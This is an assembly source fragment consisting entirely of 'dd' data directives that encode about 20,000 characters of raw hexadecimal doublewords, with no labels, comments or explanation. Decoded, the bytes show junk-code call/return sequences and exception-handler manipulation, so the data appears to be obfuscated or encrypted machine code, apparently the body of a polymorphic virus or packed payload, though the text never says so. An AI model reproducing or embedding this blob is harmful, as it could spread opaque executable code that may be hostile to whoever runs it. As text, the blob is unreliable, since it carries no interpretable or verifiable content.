		dd 24448104h, 1B04h, 0C3534300h, 501CE31Ah, 43EAAD8Fh
		dd 998D09F9h, 6006071Ah, 0AE92F781h, 8C66645Eh,	50006AD9h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0A3260943h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0DEDFC355h,	3B47B31h
		dd 71CB5BDh, 0FC90A06h,	0E784h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8EBADCD3h
		dd 0BD8B5E25h, 6070B31h, 306D858Bh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BED97C3h
		dd 58533FBh, 0BB060733h, 59EB39BBh, 50FE8B90h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0FC006A41h, 4E8h, 1F03FF00h,	50D98B00h, 8406BF66h, 424448Bh
		dd 4489008Bh, 2BBB0424h, 584A33F7h, 0C2DF8166h,	9195FFDFh
		dd 6A06071Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0C393C350h, 0D0AF091Ah, 8949636Bh
		dd 7061D8Dh, 72858906h,	66060AB3h, 0FE9DF8Bh, 89000002h
		dd 7303DB5h, 0DA8B6606h, 0B36A858Bh, 6A060Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D0FF0C3h
		dd 0Fh,	0AE9h, 0E41E7F00h, 122F3220h, 0C7DC62A0h, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 163E5C69h, 0E9EF8B80h, 11h, 0BEB1F805h
		dd 0C7C806E0h, 21C5254Fh, 6B14A879h, 6EB58B97h,	6A060AB3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7875C355h, 0ED65AC4Fh, 2C75BD29h,	858B0607h
		dd 6071579h, 995BD8Bh, 6890607h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0FCC35343h,	0F848FAC6h, 0DF81661Ah
		dd 858BB36Ah, 607306Dh,	0BF0FDC8Ah, 44689DFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 96C35545h, 379BD8Bh
		dd 0EE80607h, 1A000000h, 0F1BF5FF7h, 62FF123Ch,	0CBCBD5D1h
		dd 9BD03B1h, 5F060732h,	8DD5BB96h, 52507DB0h, 965FDA8Bh
		dd 0B5FF94B3h, 60AB36Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 72C35747h, 12E9h, 1CE9D000h, 36BC3496h
		dd 84952B71h, 1C4CE56Ah, 681FE4ABh, 52621169h, 96243481h
		dd 0F9527D12h, 0B372858Dh, 6A060Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3DC716C3h
		dd 8BB054E6h, 758529D9h, 90060711h, 9E9h, 8E68D400h, 0CCF2516Bh
		dd 6050E5CDh, 3C065BEh,	0ADBF661Ah, 6A906179h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 24F0C353h, 31B65FB8h, 860FF0C3h, 6, 11558589h, 840F0607h
		dd 6, 29BD9D8Bh, 95FF0607h, 6071B91h, 0BB66D88Bh, 2961BFEBh
		dd 71ED5BDh, 6985C706h,	3060700h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0A1CDC357h, 83923343h, 0AB372BDh, 840F0006h,	2Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 74C35545h, 84F8B25Dh
		dd 21E9h, 0DBD8900h, 5006072Fh,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 5F57C08Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0CBC35343h,	0EE02D466h, 69BD83F5h
		dd 3060700h, 447850Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 13E981C3h, 4EEBC7E4h
		dd 1A72BBEDh, 0BD8349D2h, 60AB372h, 12840F00h, 6A000004h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0D4C9C351h, 0C737484Fh, 0FDBBF0Fh, 0B5FFD8B7h
		dd 60AB372h, 3830Fh, 0B70F0000h, 19BD89FFh, 0FF060712h
		dd 7154595h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0B58BB4D7h, 60AB366h, 33F78166h
		dd 59D8B19h, 0C706070Bh, 1000106h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 19569035h
		dd 0EDDE2359h, 14E8961Bh, 0EF000000h, 0F16E333Fh, 0BD8FE03Dh
		dd 8154FDB0h, 4E3C6DD0h, 0FBC30F8h, 28Ah, 5BFA8B00h, 2B93BB50h
		dd 89961B8Ah, 704D185h,	0F5BD2306h, 0FF060722h,	0AB372B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 817EF96Ch, 0BD605DAh, 0A1858924h, 0FF060718h
		dd 7091195h, 68A0F06h, 8B000000h, 72F219Dh, 66B58B06h
		dd 8B060AB3h, 73321BDh,	0C9858B06h, 6A06072Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0B73C350h, 8689A963h, 0C4h, 1C8D8D89h, 958B0607h, 6071B41h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 61C35141h
		dd 8B04C283h, 205089DAh, 8B7CB060h, 7090D85h, 0BD8B6106h
		dd 6073029h, 0C7ED858Dh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 5A1489C3h, 7A1C2D6Bh
		dd 8BFA8BF7h, 0B88689F8h, 0E9000000h, 0Ah, 0B8C7EB2Eh
		dd 0C6F6C5E8h, 6A374Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 37C35343h, 705119DEh,	0A85C7366h, 39BD8B81h
		dd 0BB06070Ch, 745EDD81h, 0B372B5FFh, 9D8B060Ah, 6072F69h
		dd 29FD95FFh, 9D8B0607h, 6070A75h, 24348950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D7C35545h, 3654DB81h
		dd 8D292B9Ch, 6072DC9h,	0B372B5FFh, 6A060Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 40211AC3h
		dd 0E9027585h, 0Dh, 1547CCACh, 65B65BB7h, 557E651Fh, 0A595FF71h
		dd 6A06071Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0FB9DC352h, 8B2FE106h,	3CD8D89h
		dd 0BD830607h, 60708ADh, 28840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0AC28C355h, 8950D0ACh, 64BF2434h, 0FF5883FCh, 0AB372B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 10E841C4h, 3C000000h, 7328C0ACh,	7FA2FDDEh
		dd 0E231A7A5h, 89664492h, 71AC9B5h, 95FF5F06h, 6072605h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F4C35747h
		dd 0DE1B4A0h, 0AAD48ABBh, 918D0945h, 6606071Dh,	0FF2F83BBh
		dd 0AB372B5h, 0BD296006h, 60723CDh, 6E9h, 6E979600h, 6155BA6Dh
		dd 0FFDAB70Fh, 71DF195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 9866B78Ah, 10E975h, 34500000h
		dd 320B9406h, 0C839D8h,	114F137Ah, 0BD83A345h, 60703B1h
		dd 4E840F02h, 89000000h, 716D1BDh, 49858B06h, 6A060707h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E7EAC357h, 6A0000C6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1A73C356h
		dd 8AD6AE59h, 4985C7DCh, 6070Fh, 8B000000h, 722F99Dh, 0F2C9E906h
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 729BACC3h, 0D381666Fh, 0C18B936Bh, 7EC78166h
		dd 3880F9Fh, 66000000h,	858DFE8Bh, 6071F19h, 5009F780h
		dd 89DA8B66h, 81662404h, 6A65B9D7h, 0D59D8900h,	6A060720h
		dd 2ADB8100h, 8D15E81Bh, 0BAF3885h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 10BAE66Bh
		dd 2C1C3F32h, 860F4D51h, 12h, 0DE9h, 0EEB9D700h, 5325150Dh
		dd 177A3C19h, 0C0834895h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 2519B21h, 0E0FE9849h
		dd 0F8B70F50h, 0CE8505Bh, 64000000h, 8B3E4BC9h,	60E5161Dh
		dd 0E8B194D4h, 0Eh, 457AB6Dh, 82F49272h, 0E430309Ch, 5F515E02h
		dd 4895B5Fh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 59D17EC9h, 0EF46A8EBh, 0BD8BA26Ch
		dd 60715E1h, 8E8h, 160F0A00h, 401AE8A7h, 0E3E5BF84h, 0FC5B1F40h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9E47AFC3h, 0ED479472h, 3998589h, 0C7810607h
		dd 7B61D1C9h, 880F006Ah, 0Bh, 5870Fh, 81660000h, 0FF8CDBCBh
		dd 71BCD95h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0DE4ECA92h, 0B78D8D52h, 6A060AA5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 2A49C351h, 9BAF1A11h, 759D89D7h, 0FF06072Fh
		dd 50006AD1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 956D8B6Eh, 1BC91456h, 96B7104Bh,	83DF8B66h
		dd 71995BDh, 850F0106h,	91h, 549BD29h, 26A0607h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 0E9E0DF74h
		dd 0Eh,	0C64572A9h, 60FB0751h, 0E9D09D8Ah, 6050961Ch, 168D0Fh
		dd 11E90000h, 0CA000000h, 179D7BC8h, 0E9BE788Eh, 0B409F102h
		dd 78708398h, 24048961h, 1259D0Bh, 95FF0607h, 60729FDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4C35040h
		dd 0EA9DDAAh, 8B6DB9A4h, 71AADBDh, 0DE3E906h, 0E80000h
		dd 5D000000h, 0AF42ED81h, 890F060Bh, 5,	2E2C1ABFh, 0E6E78109h
		dd 8A79EB47h, 6860FFDh,	8B000000h, 72F4D9Dh, 0A858D06h
		dd 0E8060A91h, 13h, 0DACEC152h,	75AF147Ch, 0C3A8DEA4h
		dd 85EA17D9h, 0E9505797h, 12h, 2796B96h, 26F293E1h, 39522606h
		dd 429C5422h, 905B8BCDh, 7EBB5250h, 0F3EFB82h, 5AD2B331h
		dd 0BF665058h, 6A90D599h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0CFE5C353h,	0DB006F01h
		dd 0BD8B1D4Eh, 60721A9h, 35FF64h, 33000000h, 70C55BDh
		dd 25896406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 21C35747h
		dd 0F4825CADh, 33489B32h, 28B0F01h, 8B000000h, 0BE860F8h
		dd 0F9000000h, 0F6C979B0h, 428EC112h, 8D015557h, 60706F1h
		dd 0DF8B605Eh, 6E9h, 4A517300h,	61815DBDh, 0A585FF61h
		dd 906070Fh, 71B5D8Dh, 6AFF6A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8689C357h
		dd 26A58589h, 0B5FF0607h, 60732C9h, 0FFFB8B66h,	7303595h
		dd 12BE906h, 11E90000h,	0E2000000h, 0AD52B2FFh,	0FCB7208Fh
		dd 91BAA1B2h, 2E9CE0B4h, 858900B0h, 6072AF9h, 0FE970E6h
		dd 64000000h, 61FD1712h, 0ECA3792Ah, 70EA68C0h,	71E43AF9h
		dd 8E1BD8Bh, 613C0607h,	0E7830Fh, 820F0000h, 6,	2A919589h
		dd 0B60F0607h, 0B1BD89C8h, 0BA060708h, 6, 8099589h, 0C18B0607h
		dd 0E9816660h, 958BE770h, 6073091h, 4E8C161h, 13E9h, 6A9FCD00h
		dd 12D8158Eh, 993C6663h, 4C271101h, 7A0FBEA6h, 0E2F766F9h
		dd 1871BD89h, 0C82B0607h, 666DF380h, 0F3CED381h, 9D89D18Bh
		dd 6070C39h, 1D858B60h,	0F06071Eh, 0E961F6B7h, 71h, 5EF38166h
		dd 8858B21h, 83000000h,	0BF6607C0h, 0C0832711h,	3BFA8B00h
		dd 18830FD0h, 1000000h,	71C699Dh, 2D9D8B06h, 0E906072Bh
		dd 41h,	0A84ABF66h, 8BFFB70Fh, 0FFFFFF8Dh, 0BD8B57FFh
		dd 6073335h, 1E1835Bh, 23840Fh,	9D8B0000h, 6071A79h, 83DEB70Fh
		dd 0FFFFFFA5h, 5F50FEFFh, 89589h, 9D890000h, 6070555h
		dd 0E9h, 55B58D00h, 0BB060B30h,	1AF00559h, 95FF006Ah, 6073201h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9DC35646h
		dd 6D3D4CB4h, 40349AC7h, 106CB9h, 0FCE18300h, 9D8BFCF5h
		dd 6070BA9h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 8C8394C3h, 0BD8B22C5h, 6071509h
		dd 0BF66D22Bh, 33ADB1EBh, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 563701C3h, 48F30486h, 66461D7Bh, 6AE71DBFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 57C9C356h, 89781F02h, 716699Dh, 0D5F5006h, 88h, 32BD8589h
		dd 958B0607h, 6071B41h,	5880Fh,	81660000h, 8B615EDBh, 706058Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 58CBA4D0h, 89A5A7C9h, 70B8595h, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 0B70FF8BFh
		dd 0D1BD83DAh, 6070Bh, 85840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 665741C3h
		dd 5B9FD3BBh, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0FBF78032h, 4DB48D8Dh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0C0341AC3h, 9D8B28E0h, 6070B31h, 2A61BD8Bh
		dd 0E1FF0607h, 0E8C68160h, 8068A9BAh, 836145E6h, 70069BDh
		dd 840F0006h, 47Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 84C35343h, 0D3A75714h, 0AAFC0FD0h, 8BD88A05h
		dd 69BD83DAh, 1060700h,	460840Fh, 8D890000h, 6070B11h
		dd 69BD83h, 0F030607h, 41786h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1A69586Bh
		dd 2321BD23h, 8B600607h, 72F919Dh, 0D98C6606h, 59E7D781h
		dd 0E1804724h, 8B0F04h,	0A000000h, 20840FC9h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0C117C357h, 42DC7B59h, 6D858B8Dh,	66060730h
		dd 8533D88Bh, 6073305h,	68E0Fh,	8D290000h, 6071D01h, 0C6EEBF66h
		dd 60536050h, 89615F61h, 0B70F2404h, 0A0B750DBh, 6A006A5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 49B8C352h, 6691CC76h, 68E93DBFh, 7D06CDCBh
		dd 52BB5250h, 0F68D8A2h, 2800F31h, 60000000h, 81585A61h
		dd 0CE342434h, 6A7D19h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 86C5B8C3h, 26800Fh, 0DE80000h, 61000000h
		dd 4371DE9Fh, 0B1BB1543h, 0D50D2E9Fh, 0EE9h, 0C4586000h
		dd 9CD966A6h, 0BB3B2691h, 5BCC9A6Fh, 1B9195FFh,	6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 10B401C3h, 0BF6D652Ch, 8589F88Bh, 60AB372h, 2406BB66h
		dd 248E9h, 0ED9D8B00h, 8B060720h, 0AB36A85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B501633Fh, 6072009h, 58C0Fh, 81660000h, 0C7E6E6E3h
		dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 9ADFC48h,	0BF0F5678h, 0B58B5BDBh
		dd 60AB36Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0FAC35343h, 5ED4D2F5h, 0A59D89CAh, 0E906071Fh
		dd 14h,	2D386498h, 5CDF407Bh, 0AB36A654h, 6CECEFC6h, 87E6AE29h
		dd 1579858Bh, 95090607h, 60704D1h, 9D090689h, 6071C95h
		dd 306D858Bh, 46890607h, 41858904h, 96060707h, 5890Fh
		dd 2BF0000h, 5041FE66h,	5096DE8Bh, 1A19501h, 0FF5B0607h
		dd 0AB36AB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 830F9E60h, 6, 0FC12EF81h,	4E838E6h
		dd 0FF000000h, 60001F03h, 6345DBBAh, 188C0F35h,	0E9000000h
		dd 13h,	0EA2FDAF3h, 1161724Dh, 0CBE9E987h, 9A96AA6Fh, 611A085Dh
		dd 242ABB50h, 448B13C4h, 8B0424h, 0EE8h, 5B56C200h, 0C6B89507h
		dd 0F7A205AEh, 5B5AB2F7h, 4244489h, 6840F50h, 0F000000h
		dd 8Eh,	6A585B00h, 3E85000h, 20000000h,	8958C358h, 81042444h
		dd 17042444h, 40000000h, 553AC350h, 0BD0B37D5h,	6073145h
		dd 0B372858Dh, 0BD8B060Ah, 60732B5h, 12E86050h,	38000000h
		dd 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0B1A017DFh,	0F5250F6h
		dd 58585A31h, 0BE8h, 65D11200h,	0BCA1DCF0h, 0C71121EDh
		dd 8D0Fh, 615E0000h, 6A240489h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D5E9C355h,	81661ED3h
		dd 0FFAA3AC3h, 71B9195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0FB96EDDBh, 82CDE301h
		dd 0DE8h, 0C5823F00h, 0E14C5818h, 48095D35h, 0BD89F0A1h
		dd 6071CE9h, 6A615Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0D0361DC3h, 70F61C8h, 0C7599159h
		dd 7006985h, 306h, 0FAF38000h, 72BD83F9h, 60AB3h, 2E840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 61C330C3h, 8BDA8AF0h, 519D33FBh, 0E9060731h
		dd 1Bh,	110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 167AC357h, 2BE5B589h, 8B660607h, 69BD83FEh, 3060700h
		dd 47D850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 83B39DC3h, 0B372BD83h, 0F00060Ah
		dd 45284h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0FF59C083h, 0AB372B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0C8134DC5h, 2E5CF9AAh, 0FFFC740Ch, 7154595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0CFC781EEh, 607EE4DCh, 6860Fh, 0BD8B0000h, 6071A59h
		dd 11E856h, 5ECF0000h, 1A9559D3h, 5A756D6Bh, 1A466DE2h
		dd 5EBCC43Eh, 8B666158h, 66B58BD8h, 6A060AB3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 15F5C353h, 8E0FB01Dh, 6, 21B19D0Bh, 6C70607h, 10001h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9EC35646h
		dd 2ECFEC20h, 50A7A07Dh, 89DE8B66h, 6A2434h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 5757C8C3h
		dd 9614D381h, 5F5F7CECh, 0C615C3BFh, 72B5FF29h,	6A060AB3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0F927C355h, 0A9FD0FB7h, 0C935BFEEh, 94BB5CDBh
		dd 0FF750C26h, 7091195h, 0D8B70F06h, 6B10A6BBh,	66B58B35h
		dd 6A060AB3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9C19C357h, 70BDCFD1h, 0A4E71352h
		dd 2CC9858Bh, 86890607h, 0C4h, 0B589FB8Bh, 6070ADDh, 1B41958Bh
		dd 9D290607h, 60705B1h,	8B04C283h, 205089FAh, 1B31BD8Bh
		dd 858D0607h, 60AC7EDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 71C35545h, 8E8C9684h,	83A40867h, 89C6B31Ch
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8B609B8Ah, 72C719Dh, 6A006A06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 33F0C350h, 87B378C9h, 0C9BD092Bh, 0FF060700h, 0AB372B5h
		dd 0AE96006h, 0EA000000h, 0DC89777Bh, 0A0B30308h, 95FF617Dh
		dd 60729FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	68C35242h, 0FE9506Fh, 4000000h,	2ACF4877h, 763F0CA7h
		dd 2E88482Ah, 348956E0h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5DA817Eh, 2FDAEF81h, 0B5FF2273h
		dd 60AB372h, 10E9h, 94E8F00h, 0E32D105Bh, 636C9E99h, 9F389618h
		dd 0A595FF2Fh, 0F06071Ah, 38Ch,	0D88B6600h, 8ADBD83h, 0F000607h
		dd 8284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 722F926Fh, 0E0AB889Bh, 8B664C6Dh
		dd 850F96FEh, 4, 7D2BBB66h, 5E850h, 0F8EA0000h,	0E851A88Ch
		dd 12h,	4FE666BDh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h, 52503A78h
		dd 585A310Fh, 6A965F5Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7BA8C352h, 0B13B44BDh
		dd 0FF88D11Fh, 0AB372B5h, 0DBB70F06h, 95FFDE8Bh, 6072605h
		dd 83C391BBh, 72B5FF5Bh, 89060AB3h, 732F995h, 0F195FF06h
		dd 106071Dh, 722B995h, 0B1BD8306h, 2060703h, 77840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D89BAC3h, 6073301h,	749858Bh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 2157BEC3h
		dd 62B9631Bh, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 5703C353h, 7E9h, 6E7F8500h
		dd 4467CA45h, 4985C75Fh, 6070Fh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0C747C350h
		dd 0F4541A94h, 0E9CFE29Ch, 0FFFFF361h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 66C35343h, 0F9BF6733h, 89467871h
		dd 729B185h, 89C18B06h,	71175BDh, 19858D06h, 6A06071Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FC9C357h, 0E850F9B7h, 10h, 4550B265h, 7FC7B8FCh
		dd 0EF4E9D30h, 0DFC05924h, 5E85250h, 0D000000h,	0D4C028F7h
		dd 0E9310F5Fh, 12h, 0BB79D298h,	6C8967C5h, 0D1725DB4h
		dd 0AAC36345h, 585A76A2h, 2404895Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 3AC35141h, 6A006Ah,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1CA08CC3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8D4885C3h, 0BBF3585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0DF2D146Ah, 45BF53E3h, 5810F60h, 66000000h, 0F21DE81h
		dd 0F809C381h, 83616CF0h, 9D2305C0h, 6072405h, 89FB8B50h
		dd 14E92404h, 97000000h, 97B5D9C1h, 0DBCF5F87h,	875E5B1Fh
		dd 74CF122Ch, 6AF4731Eh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7851D166h, 0B99D0BEBh
		dd 6A060701h, 0D98B5200h, 0CD95FF5Bh, 8B06071Bh, 71E7DBDh
		dd 0B78D8D06h, 89060AA5h, 703A98Dh, 6AD1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 169CC351h, 3844966h,	72D09BDh, 95BD8306h, 1060719h
		dd 74850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0AEB0B8C3h, 6880F4Fh, 89000000h
		dd 71C4195h, 0E8026A06h, 8, 0E96AE032h,	0C25D8436h, 76DB589h
		dd 8B5B0607h, 701E59Dh,	66609006h, 610E1BB9h, 3D6BBF50h
		dd 0E8902EDCh, 0Ah, 13ADEE19h, 2717EC28h, 0BF0F2962h, 95FF5BFEh
		dd 60729FDh, 5EEFE781h,	0C7E9165Bh, 0E800000Dh,	0
		dd 3FED815Dh, 6A060BBFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 9B61C351h, 0FFBBAB91h
		dd 8BE1F855h, 72BE59Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 13FDE9A3h, 3D33A4B8h
		dd 85BD8B3Ah, 66060704h, 8DED33BBh, 0A910A85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 6C209B7h, 3FD52D9Ah,	0D781B299h, 52ACC182h, 75BB6650h
		dd 2404891Bh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	7FC35646h, 4016FE56h, 36EA7E20h, 0BE887h, 14200000h
		dd 71D46B23h, 12CC09F9h, 0E1BD23AFh, 5B060707h,	35FF64h
		dd 60000000h, 207DEB81h, 0B9662ADBh, 96182E5h, 719799Dh
		dd 25896406h, 0
		dd 0DE8h, 9A99D700h, 0BD78E356h, 6B5BBAB3h, 0FE9F4CCh
		dd 12000000h, 7E85DBCDh, 8A8AD75h, 684D58FFh, 0FF5BDD31h
